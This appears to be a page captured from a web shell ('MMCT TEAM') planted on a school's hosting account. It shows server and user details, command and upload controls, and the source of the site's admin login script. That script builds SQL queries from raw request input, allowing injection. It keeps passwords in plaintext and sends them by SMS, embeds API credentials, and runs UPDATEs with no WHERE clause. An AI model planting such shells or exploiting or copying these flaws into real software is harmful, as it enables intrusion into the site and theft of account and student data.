MMCT TEAM
Server IP : 2a02:4780:11:1359:0:1d43:a566:2  /  Your IP : 216.73.216.60
Web Server : LiteSpeed
System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u490972518 ( 490972518)
PHP Version : 5.6.40
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u490972518/domains/ppschool.org.in/public_html/code/img/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u490972518/domains/ppschool.org.in/public_html/code/img/../adminlogincode.php
<?php
session_start();
include("../link/databaseconnection.php");
$flag=$_REQUEST['flag'];
if(!$flag)
			{
				header("location:http://gcschool.co.in");
			}
switch($flag)
{
 case 1:

$email=$_POST['email'];
$area=$_POST['area'];
//echo"$email";
$otp=$_POST['otp'];
$password=$_POST['key'];
$date=date("d/m/y");
//date_default_timezone_get("asia/kolkata");
$time=date("h:i:sa");
$datetime=$date.$time;
//echo"$password";
$sel="select * from admin_login where area='$area' and email='$email' and password='$password'  and status=''";
$res=mysqli_query($conn,$sel);
$row=mysqli_fetch_array($res,MYSQLI_BOTH);

$count=$row['login_count'];
$count=$count+1;


if($email!="" || $password!="")
{
	if($row['email']==$email and $row['area']==$area)
	{
	if($row['email']==$email)
	{
		if($row['password']==$password)
		{
			$up="update admin_login set otp='$otp' ,login_datetime='$datetime',login_datetime='$datetime',login_count='$count',current_status='true'";
			$res=mysqli_query($conn,$up);
			{
						
			$_SESSION['admin']=$email;
			echo"Login Sccessfully";
							
							}
			
			
		}
		else
		{
			echo"Password is incorrect";
		}
	}
	else
	{
		echo"Email is incorrect";
	}
	}
	else
	{
		echo"Area and Email Incorrect";
	}
}
else
{
	echo"please Fillup in box";
}
break;
case 111:

$mobile=$_POST['mobile'];
//echo"$email";
//$otp=$_POST['otp'];
$password=$_POST['key'];
$date=date("d/m/y");
date_default_timezone_get("asia/kolkata");
$time=date("h:i:sa");
$datetime=$date.$time;
//echo"$password";
$sel="select * from classteacher where mobile='$mobile'";
$res=mysqli_query($conn,$sel);
$row=mysqli_fetch_array($res,MYSQLI_BOTH);




if($mobile!="" || $password!="")
{
	if($row['mobile']==$mobile)
	{
		if($row['password']==$password)
		{
			//$up="update admin_login set otp='$otp' ,login_datetime='$datetime',login_datetime='$datetime',login_count='$count',current_status='true'";
			
						
			$_SESSION['admin']=$mobile;
			echo"Login Sccessfully";
							
							
			
			
		}
		else
		{
			echo"Password is incorrect";
		}
	}
	else
	{
		echo"Mobile is incorrect";
	}
}
else
{
	echo"please Fillup in box";
}
break;

case 2:
$em=$_POST['email1'];
$mob=$_POST['number1'];
$m='M.D.H SCHOOL Login Password is-';
$sel1="select * from admin_login where email='$em' or mobile='$mob'";
$res1=mysqli_query($conn,$sel1);
if($row=mysqli_fetch_array($res1,MYSQLI_BOTH))
{
	$number=$row['mobile'];
	$password=$row['password'];
	$message=$m.$password;
	$username="AwadheshYadav";
				$password="AwadheshYadav";
				$senderid="MDSSCH";
				$to=$number;
				$msg=urlencode($message);


$api="http://sms.jupitersms.com/api/sendmsg.php?user=brkweb&pass=india&sender=$senderid&phone=$to&text=$msg&priority=ndnd&stype=normal";

				$result=file_get_contents($api);
				{
					$ins="insert into message (message,count) value('message','1')";
					$res=mysqli_query($conn,$ins);
					//echo"password send your mobile";
				}
}



break;

case 3:
$email=$_POST['email1'];
$nemail=$_POST['nemail1'];
$oldpas=$_POST['oldpas'];
$newpas=$_POST['newpas'];
//echo"$newpas";
//echo"$email";
if($email!=""&& $nemail!="" && $oldpas!=""&& $newpas!="")
	{
$sel="select * from admin_login where email='$email'and password='$oldpas'";
$res=mysqli_query($conn,$sel);
if($row=mysqli_fetch_array($res,MYSQLI_BOTH))
{
	
	if($row["email"]="$email")
	{
		if($row["password"]="$oldpas")
		{
			$up="update admin_login set password='$newpas',email='$nemail'";
			if(mysqli_query($conn,$up))
			{
				echo"Update Successfully";
			}
			else
			{
			  echo"not Successfully";	
			}
		}
		else
		{
			echo"Password not match";
		}
	}
	else
	{
		echo"Email is not match";
	}
	}
	else
	{
		echo"Email or password not match";
	}
	
}
else
{
	echo"Fillup Box";
}


break;


case 4:
$email=$_SESSION['admin'];
$date=date("d/m/y");
date_default_timezone_set("asia/kolkata");
$time=date("h:i:sa");
$datetime=$date.$time;
if($email)
{
$up="update admin_login set logout_datetime='$datetime',current_status='false' where email='$email'";

if(mysqli_query($conn,$up))
{
	session_destroy();
	echo"Logout Successfully";
}
else
{
	echo"not log out";
}
}
else
{
	echo"not session";
}
break;
}

?>

MMCT - 2023